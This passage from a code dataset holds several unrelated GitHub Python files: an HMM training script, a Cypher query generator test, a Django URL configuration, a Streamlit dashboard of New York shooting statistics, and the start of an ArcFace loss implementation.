previously.\n\"\"\"\n\n# K-Means to estimate _mean and _cov\n_mean, assign = KMeans(X, numComponent)\n_cov = helpers.estimateCov(X, _mean, assign)\n\n# show clustering result\nplt.figure()\nplt.scatter(X[:, 0], X[:, 1], c = assign)\nplt.scatter(_mean[:, 0], _mean[:, 1], s = 40, color = 'y', marker = 'D')\nplt.title(\"Clustering Result by K-Means\")\n\n#%% Train HMM\n# initialize parameters\n_A, _pi = helpers.init(numComponent)\n\nfor nIter in range(1, 21):\n # E Step\n gamma, epsilon = helpers.E_Step(X, _mean, _cov, _A, _pi)\n\n # M Step\n _mean, _cov, _A, _pi = helpers.M_Step(X, gamma, epsilon)\n\n # plot intermediate result\n if(nIter % 5 == 0):\n plt.figure()\n plt.scatter(X[:, 0], X[:, 1], c = gamma)\n plt.scatter(_mean[:, 0], _mean[:, 1], s = 40, color = 'y', marker = 'D')\n plt.title(\"Result return by HMM after \" + str(nIter) + \" iterations\")\n plt.show()\n\n# print(_mean)\n\n## compare prediction vs ground label\n_Z = np.argmax(gamma, axis=1) # this comparision doesn't work due to permutation\nprint(_A)\nprint(A)\n", "repo_name": "BIT-zhaoyang/HiddenMarkovChain", "sub_path": "HMM.py", "file_name": "HMM.py", "file_ext": "py", "file_size_in_byte": 3281, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.random.multivariate_normal", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.random.multivariate_normal", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 58, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "KMeans.KMeans", "line_number": 70, "usage_type": "call"}, {"api_name": "helpers.estimateCov", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "helpers.init", "line_number": 81, "usage_type": "call"}, {"api_name": "helpers.E_Step", "line_number": 85, "usage_type": "call"}, {"api_name": "helpers.M_Step", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 101, "usage_type": "call"}]} {"seq_id": "22383007625", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\"\"\"Unit tests - Neo4j DocManager.\"\"\"\nimport sys\nimport logging\nimport inspect, os\nimport time\nimport unittest\nfrom connector.cypher_queries_generator import CypherQueriesGenerator\n\n\nsys.path[0:0] = [\"\"]\n\nclass CypherQueriesGeneratorTestCase(unittest.TestCase):\n def setUp(self):\n schema_filled_file = open(os.path.join(\"tests\", 'schema.yaml'), 'r')\n self.keyspace = \"playlist\"\n\n def test_generate(self):\n #filled YAML file analyser\n self.cypher_queries_gen = CypherQueriesGenerator(self.keyspace)\n nodes = self.cypher_queries_gen.generate()\n self.assertEqual(len(nodes), 6)\n\n def test_analyse_csv(self):\n # check number of columns on each csv result file\n cypher_queries_gen = CypherQueriesGenerator(self.keyspace)\n nodes = cypher_queries_gen.generate()\n columns = cypher_queries_gen.analyse_csv([\"music_results.csv\"])\n self.assertEqual(columns, [6])\n\n def test_analyse_node(self):\n cypher_queries_gen = CypherQueriesGenerator(self.keyspace)\n nodes = cypher_queries_gen.generate()\n nodes = cypher_queries_gen.analyse_node([\"track_by_id\"], nodes)\n self.assertEqual(len(nodes), 1)\n print(nodes[0])\n\n def test_build_queries(self):\n #filled YAML file analyser\n self.cypher_queries_gen = CypherQueriesGenerator(self.keyspace)\n nodes = self.cypher_queries_gen.generate()\n self.cypher_queries_gen.build_queries([\"track_by_id\"], [\"music_results.csv\"])\n cypher_file = open('cypher_', 'r')\n statement = cypher_file.read()\n path = str(os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))))\n self.assertTrue(statement.startswith(\"LOAD CSV WITH HEADERS\"))\n\nif __name__ == '__main__':\n unittest.main()", "repo_name": "neo4j-contrib/neo4j-cassandra-connector", "sub_path": "tests/test_cypher_queries_generator.py", "file_name": "test_cypher_queries_generator.py", "file_ext": "py", "file_size_in_byte": 1732, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "connector.cypher_queries_generator.CypherQueriesGenerator", "line_number": 21, "usage_type": "call"}, {"api_name": "connector.cypher_queries_generator.CypherQueriesGenerator", "line_number": 27, "usage_type": "call"}, {"api_name": "connector.cypher_queries_generator.CypherQueriesGenerator", "line_number": 33, "usage_type": "call"}, {"api_name": "connector.cypher_queries_generator.CypherQueriesGenerator", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 46, "usage_type": "call"}, {"api_name": "inspect.getfile", "line_number": 46, "usage_type": "call"}, {"api_name": "inspect.currentframe", "line_number": 46, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 50, "usage_type": "call"}]} {"seq_id": "75089070304", "text": "\"\"\"config URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom tmapp.views import (\n ProjectList,\n TaskList,\n register,\n HomeView,\n ProjectCreate,\n ProjectEdit,\n ProjectDelete,\n TaskCreate,\n TaskEdit,\n TaskDetails,\n TaskDelete,\n SprintList,\n SprintCreate,\n SprintEdit,\n SprintDelete,\n)\n\n\nurlpatterns = [\n path(\"admin/\", admin.site.urls),\n path(\"api/\", include(\"tmapp.urls\")),\n path(\"\", include(\"django.contrib.auth.urls\"), name=\"login\"),\n path(\"register/\", register, name=\"register\"),\n path(\"\", HomeView.as_view(template_name=\"home.html\"), name=\"home\"),\n path(\n \"projects/\", ProjectList.as_view(template_name=\"projects.html\"), name=\"projects\"\n ),\n path(\"project/add/\", ProjectCreate.as_view(), name=\"projectcreate\"),\n path(\"project/edit/\", ProjectEdit.as_view(), name=\"projectedit\"),\n path(\"project/delete/\", ProjectDelete.as_view(), name=\"projectdelete\"),\n path(\"tasks/\", TaskList.as_view(template_name=\"tasks.html\"), name=\"tasks\"),\n path(\"task/add/\", TaskCreate.as_view(), name=\"taskcreate\"),\n path(\"task/edit/\", TaskEdit.as_view(), name=\"taskedit\"),\n path(\"task/\", TaskDetails.as_view(), name=\"taskdetails\"),\n path(\"task/delete/\", TaskDelete.as_view(), name=\"taskdelete\"),\n path(\"sprints/\", SprintList.as_view(template_name=\"sprints.html\"), name=\"sprints\"),\n path(\"sprint/add/\", SprintCreate.as_view(), name=\"sprintcreate\"),\n path(\"sprint/edit/\", SprintEdit.as_view(), name=\"sprintedit\"),\n path(\"sprint/delete/\", SprintDelete.as_view(), name=\"sprintdelete\"),\n]\n", "repo_name": "polipych/taskmanager", "sub_path": "config/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2272, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 38, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 38, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 39, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 40, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 40, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "tmapp.views.register", "line_number": 41, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 42, "usage_type": "call"}, {"api_name": "tmapp.views.HomeView.as_view", "line_number": 42, "usage_type": "call"}, {"api_name": "tmapp.views.HomeView", "line_number": 42, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 43, "usage_type": "call"}, {"api_name": "tmapp.views.ProjectList.as_view", "line_number": 44, "usage_type": "call"}, {"api_name": "tmapp.views.ProjectList", "line_number": 44, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "tmapp.views.ProjectCreate.as_view", "line_number": 46, "usage_type": "call"}, {"api_name": "tmapp.views.ProjectCreate", "line_number": 46, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 47, "usage_type": "call"}, {"api_name": "tmapp.views.ProjectEdit.as_view", "line_number": 47, "usage_type": "call"}, {"api_name": "tmapp.views.ProjectEdit", "line_number": 47, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 48, "usage_type": "call"}, {"api_name": "tmapp.views.ProjectDelete.as_view", "line_number": 48, "usage_type": "call"}, {"api_name": "tmapp.views.ProjectDelete", "line_number": 48, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 49, "usage_type": "call"}, {"api_name": "tmapp.views.TaskList.as_view", "line_number": 49, "usage_type": "call"}, {"api_name": "tmapp.views.TaskList", "line_number": 49, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 50, "usage_type": "call"}, {"api_name": "tmapp.views.TaskCreate.as_view", "line_number": 50, "usage_type": "call"}, {"api_name": "tmapp.views.TaskCreate", "line_number": 50, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 51, "usage_type": "call"}, {"api_name": "tmapp.views.TaskEdit.as_view", "line_number": 51, "usage_type": "call"}, {"api_name": "tmapp.views.TaskEdit", "line_number": 51, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 52, "usage_type": "call"}, {"api_name": "tmapp.views.TaskDetails.as_view", "line_number": 52, "usage_type": "call"}, {"api_name": "tmapp.views.TaskDetails", "line_number": 52, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 53, "usage_type": "call"}, {"api_name": "tmapp.views.TaskDelete.as_view", "line_number": 53, "usage_type": "call"}, {"api_name": "tmapp.views.TaskDelete", "line_number": 53, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 54, "usage_type": "call"}, {"api_name": "tmapp.views.SprintList.as_view", "line_number": 54, "usage_type": "call"}, {"api_name": "tmapp.views.SprintList", "line_number": 54, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 55, "usage_type": "call"}, {"api_name": "tmapp.views.SprintCreate.as_view", "line_number": 55, "usage_type": "call"}, {"api_name": "tmapp.views.SprintCreate", "line_number": 55, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 56, "usage_type": "call"}, {"api_name": "tmapp.views.SprintEdit.as_view", "line_number": 56, "usage_type": "call"}, {"api_name": "tmapp.views.SprintEdit", "line_number": 56, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 57, "usage_type": "call"}, {"api_name": "tmapp.views.SprintDelete.as_view", "line_number": 57, "usage_type": "call"}, {"api_name": "tmapp.views.SprintDelete", "line_number": 57, "usage_type": "name"}]} {"seq_id": "38355547003", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 16 16:40:25 2021\n\n@author: santi\n\"\"\"\n#Importar paquetes --> pip install \"nombre del paquete\"\nimport streamlit as st\nimport pandas as pd\nimport pydeck as pdk\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport base64 \n\n\nst.set_page_config(layout='wide')\nst.markdown(\"

Histórico de disparos en Nueva York 🗽💥

\", unsafe_allow_html=True)\n\n@st.cache(persist=True) #Paraque quede guardada la tabla en la memoria caché \ndef load_data(url): # para cargar siempre la misma base \n df= pd.read_csv(url)\n df['OCCUR_DATE']= pd.to_datetime(df['OCCUR_DATE'])\n df['OCCUR_TIME']= pd.to_datetime(df['OCCUR_TIME'],format='%H:%M:%S')\n df['YEAR']=df['OCCUR_DATE'].dt.year\n df['HOUR']= df['OCCUR_TIME'].dt.hour\n df['YEARMONTH']= df['OCCUR_DATE'].dt.strftime('%y%m')\n df.columns=df.columns.map(str.lower)\n return df\n\n# Función para descargar base de datos\ndef get_table_download_link(df):\n csv = df.to_csv(index=False)\n b64 = base64.b64encode(csv.encode()).decode() # some strings <-> bytes conversions necessary here\n href = f'Descargar archivo csv'\n return href\n\n\n#Aplicar la función\ndf=load_data('NYPD_Shooting_Incident_Data__Historic_.csv')\n\n#----------------------------------------------------------------\n#Crear indicadores al inicio\nc1,c2,c3,c4,c5= st.beta_columns((1,1,1,1,1))\nc1.markdown(\"

Top Sexo

\", unsafe_allow_html=True)\n\ntop_perp_name=(df['perp_sex'].value_counts().index[0] )#El sexo que más aparece\ntop_perp_num=(round(df['perp_sex'].value_counts()/df['perp_sex'].value_counts().sum(),2)*100)[0]\ntop_vic_name=(df['vic_sex'].value_counts().index[0] )#El sexo que más aparece\ntop_vic_num=(round(df['vic_sex'].value_counts()/df['vic_sex'].value_counts().sum(),2)*100)[0]\n\nc1.text('Atacante: ' + str(top_perp_name) + ', '+ str(top_perp_num))\nc1.text('Victima: ' + str(top_vic_name) + ', '+ str(top_vic_num))\n\nc2.markdown(\"

Top Raza

\", unsafe_allow_html=True)\n\ntop_perp_name=(df['perp_race'].value_counts().index[0] ).capitalize()#El sexo que más aparece\ntop_perp_num=(round(df['perp_race'].value_counts()/df['perp_race'].value_counts().sum(),2)*100)[0]\ntop_vic_name=(df['vic_race'].value_counts().index[0] ).capitalize()#El sexo que más aparece\ntop_vic_num=(round(df['vic_race'].value_counts()/df['vic_race'].value_counts().sum(),2)*100)[0]\n\nc2.text('Atacante: ' + str(top_perp_name) + ', '+ str(top_perp_num))\nc2.text('Victima: ' + str(top_vic_name) + ', '+ str(top_vic_num))\n\nc3.markdown(\"

Top Edad

\", unsafe_allow_html=True)\n\ntop_perp_name=(df['perp_age_group'].value_counts().index[0] )#El sexo que más aparece\ntop_perp_num=(round(df['perp_age_group'].value_counts()/df['perp_age_group'].value_counts().sum(),2)*100)[0]\ntop_vic_name=(df['vic_age_group'].value_counts().index[0] )#El sexo que más aparece\ntop_vic_num=(round(df['vic_age_group'].value_counts()/df['vic_age_group'].value_counts().sum(),2)*100)[0]\n\nc3.text('Atacante: ' + str(top_perp_name) + ', '+ str(top_perp_num)+'%')\nc3.text('Victima: ' + str(top_vic_name) + ', '+ str(top_vic_num) + '%')\n\nc4.markdown(\"

Top Barrio

\", unsafe_allow_html=True)\n\ntop_perp_name=(df['boro'].value_counts().index[0] ).capitalize()#El sexo que más aparece\ntop_perp_num=(round(df['boro'].value_counts()/df['boro'].value_counts().sum(),2)*100)[0]\n\nc4.text('Barrio: ' + str(top_perp_name) + ', '+ str(top_perp_num))\n\nc5.markdown(\"

Top Barrio

\", unsafe_allow_html=True)\n\ntop_perp_name=(df['hour'].value_counts().index[0] )#El sexo que más aparece\ntop_perp_num=(round(df['hour'].value_counts()/df['hour'].value_counts().sum(),2)*100)[0]\n\nc5.text('Hora: ' + str(top_perp_name) + ', '+ str(top_perp_num))\n\n\n#-----------------------------------------------------------------\n#st.write(df) que muestre la base\n\n#Dividir el layout en partes\nc1,c2= st.beta_columns((1,1))\n\n#Hacer código de primera columna\nc1.markdown(\"

Donde han ocurrido disparos en Nueva York

\", unsafe_allow_html=True)\nyear= c1.slider('Año en el que se presentó el suceso', 2006,2020) #Saca valor minimo y máximo y lo que hay entre ellos \nc1.map(df[df['year']==year][['latitude','longitude']])\n\n#Hacer código de la segunda columna\nc2.markdown(\"

A que horas ocurren los disparos en Nueva York

\", unsafe_allow_html=True)\nhour= c2.slider('hora en la que se presentó el suceso', 0,23) #Saca valor minimo y máximo y lo que hay entre ellos\ndf2=df[df['hour']==hour]\nc2.write(pdk.Deck(\n \n map_style='mapbox://styles/mapbox/light-v9',\n initial_view_state={\n 'latitude' : df2['latitude'].mean(), \n 'longitude' : df2['longitude'].mean(), \n 'zoom' : 9.5,\n 'pitch' : 50},\n \n layers = [pdk.Layer(\n 'HexagonLayer', ##aqui haremos las barras \n data=df2[['latitude','longitude']],\n get_position = ['longitude', 'latitude'], # x,y\n radius=100,\n extruded=True,\n elevation_scale = True,\n elevation_range= [0,1000])]\n ))\n\nst.markdown(\"

¿Cómo ha sido la evolución de disparos por año?

\", unsafe_allow_html=True)\n\ndf3 = df.groupby(['yearmonth','boro'])[['incident_key']].count().reset_index().rename(columns={'incident_key':'Disparos'})\nfig = px.line(df3, x = 'yearmonth', y ='Disparos', color = 'boro', width= 1100, height=450)\n\nfig.update_layout(\n \n #paper_bgcolor = 'rgb(0,0,0)',\n plot_bgcolor= 'rgb(0,0,0)',\n template= 'simple_white',\n xaxis_title='Año/mes',\n yaxis_title='Cantidad de accidentes',\n legend_title_text='',\n \n legend= dict(\n orientation = 'h',\n xanchor= 'right',\n yanchor= 'bottom',\n y=1.02,\n x=0.8\n ))\n\nst.plotly_chart(fig)\n\n#####################################################\n\nc3, c4, c5, c6 = st.beta_columns((1,1,1,1))\n\n# Edad de los atacantes\nc3.markdown(\"

¿Qué edad tienen los atacantes?

\",unsafe_allow_html = True)\ndf2 = df.groupby(['perp_age_group'])[['incident_key']].count().reset_index().sort_values('incident_key')\ndf2['perp_age_group'] = df2['perp_age_group'].replace({'940':'UNKNOWN',\n '224':'UNKNOWN',\n '1020':'UNKNOWN'})\n\ndf2['perp_age_group2'] = df2['perp_age_group'].replace({'<18':'1',\n '18-24':'2',\n '25-44':'3',\n '45-64':'4',\n '65+': '5',\n 'UNKNOWN':'6'})\n\ndf2['perp_age_group'] = df2['perp_age_group'].replace({'UNKNOWN':'N/A'})\n\n# hacer gráfica\ndf2 = df2.sort_values('perp_age_group2', ascending = False)\nfig = px.bar(df2, x = 'incident_key', y ='perp_age_group', orientation = 'h',\n width = 340, height = 310)\n\nfig.update_layout(\n\n template = 'simple_white',\n plot_bgcolor = 'rgba(0,0,0,0)',\n xaxis_title = 'Atacante',\n yaxis_title = 'Edades',\n legend_title_text = '',\n\n )\n\nc3.plotly_chart(fig)\n\n##########################################################\n# Edad de las victimas \nc4.markdown(\"

¿Qué edad tienen las victimas?

\",unsafe_allow_html = True)\ndf2 = df.groupby(['vic_age_group'])[['incident_key']].count().reset_index().sort_values('incident_key')\ndf2['vic_age_group'] = df2['vic_age_group'].replace({'940':'UNKNOWN',\n '224':'UNKNOWN',\n '1020':'UNKNOWN'})\n\ndf2['vic_age_group2'] = df2['vic_age_group'].replace({'<18':'1',\n '18-24':'2',\n '25-44':'3',\n '45-64':'4',\n '65+': '5',\n 'UNKNOWN':'6'})\n\ndf2['vic_age_group'] = df2['vic_age_group'].replace({'UNKNOWN':'N/A'})\n\n# hacer gráfica\ndf2 = df2.sort_values('vic_age_group2', ascending = False)\nfig = px.bar(df2, x = 'incident_key', y ='vic_age_group', orientation = 'h',\n width = 340, height = 310)\n\nfig.update_layout(\n\n template = 'simple_white',\n plot_bgcolor = 'rgba(0,0,0,0)',\n xaxis_title = 'Victima',\n yaxis_title = 'Edades',\n legend_title_text = '',\n\n )\n\nc4.plotly_chart(fig)\n\n#######################################################\nc5.markdown(\"

¿Cuál es el sexo del atacante?

\",unsafe_allow_html = True)\ndf2= df.groupby(['perp_sex'])[['incident_key']].count().reset_index()\nfig= px.pie(df2,values='incident_key',names='perp_sex',\n width=300,height=300)\n\nfig.update_layout(\n \n #paper_bgcolor = 'rgb(0,0,0)',\n plot_bgcolor= 'rgb(0,0,0)',\n template= 'simple_white',\n \n legend= dict(\n orientation = 'h',\n xanchor= 'center',\n yanchor= 'bottom',\n y=-0.4,\n x=0.5\n ))\nc5.plotly_chart(fig)\n#######################################################\nc6.markdown(\"

¿Cuál es el sexo de la victima?

\",unsafe_allow_html = True)\ndf2= df.groupby(['vic_sex'])[['incident_key']].count().reset_index()\nfig= px.pie(df2,values='incident_key',names='vic_sex',\n width=300,height=300)\n\nfig.update_layout(\n \n #paper_bgcolor = 'rgb(0,0,0)',\n plot_bgcolor= 'rgb(0,0,0)',\n template= 'simple_white',\n \n legend= dict(\n orientation = 'h',\n xanchor= 'center',\n yanchor= 'bottom',\n y=-0.4,\n x=0.5\n ))\nc6.plotly_chart(fig)\n#########################################################\nst.markdown(\"

Evolución de disparos por años en las horas con más y menos accidentes

\",unsafe_allow_html = True)\n\n#df[df['hour'].isin([23,9])] # Filtrar DF\n#df2=df2.groupby(['year','hour'])[['incident_key']].count().reset_index()\n#df2['hour']= df2['hour'].astype('category') #para decirle que hora es categ\n#df2['year']= df2['year'].astype('category')\n\n#fig= px.bar(df2,x='year',y='incident_key', color='hour', barmode='group',\n# width= 1150, height=450)\n\n#st.plotly_chart(fig)\n#Falta\n\n###########################################\n# obtener datos\n#if st.checkbox('Obtener datos por fecha y barrio', False):\n# \n# \n# df2 = df.groupby(['occur_date','boro'])[['incident_key']].count().reset_index().rename(columns ={'boro':'Barrio','occur_date':'Fecha','incident_key':'Cantidad'})\n# df2['Fecha'] = df2['Fecha'].dt.date\n# \n# \n# \n# fig = go.Figure(data=[go.Table(\n# header=dict(values=list(df2.columns),\n# fill_color='lightgrey',\n# line_color='darkslategray'),\n# \n# \n# cells=dict(values=[df2.Fecha, df2.Barrio, df2.Cantidad],fill_color='white',line_color='lightgrey'))\n# ])\n# fig.update_layout(width=500, height=450)\n#\n# st.write(fig)\n\n\n# Hacer un checkbox\nif st.checkbox('Obtener datos por fecha y barrio', False):\n \n # Código para generar el DataFrame\n df2 = df.groupby(['occur_date','boro'])[['incident_key']].count().reset_index().rename(columns ={'boro':'Barrio','occur_date':'Fecha','incident_key':'Cantidad'})\n df2['Fecha'] = df2['Fecha'].dt.date\n \n # Código para convertir el DataFrame en una tabla plotly resumen\n fig = go.Figure(data=[go.Table(\n header=dict(values=list(df2.columns),\n fill_color='lightgrey',\n line_color='darkslategray'),\n cells=dict(values=[df2.Fecha, df2.Barrio, df2.Cantidad],fill_color='white',line_color='lightgrey'))\n ])\n fig.update_layout(width=500, height=450)\n\n# Enviar tabla a streamlit\n st.write(fig)\n \n#generar link de descarga \nst.markdown(get_table_download_link(df2),unsafe_allow_html = True)", "repo_name": "santiagog367/clase_dashboard", "sub_path": "clase.py", "file_name": "clase.py", "file_ext": "py", "file_size_in_byte": 12476, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "streamlit.set_page_config", "line_number": 16, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 23, "usage_type": "call"}, {"api_name": "streamlit.cache", "line_number": 19, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 33, "usage_type": "call"}, {"api_name": "streamlit.beta_columns", "line_number": 43, "usage_type": "call"}, {"api_name": "streamlit.beta_columns", "line_number": 93, "usage_type": "call"}, {"api_name": "pydeck.Deck", "line_number": 104, "usage_type": "call"}, {"api_name": "pydeck.Layer", "line_number": 113, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 123, "usage_type": "call"}, {"api_name": "plotly.express.line", "line_number": 126, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 126, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 145, "usage_type": "call"}, {"api_name": "streamlit.beta_columns", "line_number": 149, "usage_type": "call"}, {"api_name": "plotly.express.bar", "line_number": 169, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 169, "usage_type": "name"}, {"api_name": "plotly.express.bar", "line_number": 203, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 203, "usage_type": "name"}, {"api_name": "plotly.express.pie", "line_number": 221, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 221, "usage_type": "name"}, {"api_name": "plotly.express.pie", "line_number": 241, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 241, "usage_type": "name"}, {"api_name": "streamlit.markdown", "line_number": 259, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 296, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 303, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 303, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Table", "line_number": 303, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 312, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 315, "usage_type": "call"}]} {"seq_id": "1779431444", "text": "import math\n\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\n\n\nclass DenseCrossEntropy(nn.Module):\n def forward(self, x, target):\n x = x.float()\n target = target.float()\n logprobs = torch.nn.functional.log_softmax(x, dim=-1)\n\n loss = -logprobs * target\n loss = loss.sum(-1)\n return loss.mean()\n\n\nclass ArcFaceLossAdaptiveMargin(nn.modules.Module):\n def __init__(self, margins, n_classes, s=30.0):\n super().__init__()\n self.crit = DenseCrossEntropy()\n self.s = s\n self.margins = margins\n self.out_dim = n_classes\n\n def forward(self, logits, labels):\n ms = []\n ms = self.margins[labels.cpu().numpy()]\n cos_m = torch.from_numpy(np.cos(ms)).float().cuda()\n sin_m = torch.from_numpy(np.sin(ms)).float().cuda()\n th = torch.from_numpy(np.cos(math.pi - ms)).float().cuda()\n mm = torch.from_numpy(np.sin(math.pi - ms) * ms).float().cuda()\n labels = F.one_hot(labels, self.out_dim).float()\n logits = logits.float()\n cosine = logits\n sine = torch.sqrt(1.0 - torch.pow(cosine, 2))\n phi = cosine * cos_m.view(-1, 1) - sine * sin_m.view(-1, 1)\n phi = torch.where(cosine > th.view(-1, 1), phi, cosine - mm.view(-1, 1))\n output = (labels * phi) + ((1.0 - labels) * cosine)\n output *= self.s\n loss = self.crit(output, labels)\n return loss\n\n\nclass ArcMarginProduct_subcenter(nn.Module):\n def __init__(self, in_features, out_features, k=3):\n super().__init__()\n self.weight = nn.Parameter(torch.FloatTensor(out_features * k, in_features))\n self.reset_parameters()\n self.k = k\n self.out_features = out_features\n\n def reset_parameters(self):\n stdv = 1.0 / math.sqrt(self.weight.size(1))\n self.weight.data.uniform_(-stdv, stdv)\n\n def forward(self, features):\n cosine_all = F.linear(F.normalize(features), F.normalize(self.weight))\n cosine_all = cosine_all.view(-1, self.out_features, self.k)\n cosine, _ = torch.max(cosine_all, dim=2)\n return cosine\n\n\nclass ArcMarginProduct(nn.Module):\n def __init__(self, in_features, out_features):\n super().__init__()\n self.weight = nn.Parameter(torch.Tensor(out_features, in_features))\n self.reset_parameters()\n\n def reset_parameters(self):\n nn.init.xavier_uniform_(self.weight)\n\n def forward(self, features):\n cosine = F.linear(F.normalize(features), F.normalize(self.weight))\n return cosine\n\n\ndef calc_margins_from_labels(\n df: pd.DataFrame, label_col_name=\"meigara_label\", arcface_m_x=0.45, arcface_m_y=0.05\n):\n label_counts = np.sqrt(df[label_col_name].value_counts().sort_index().values)\n tmp: np.ndarray = 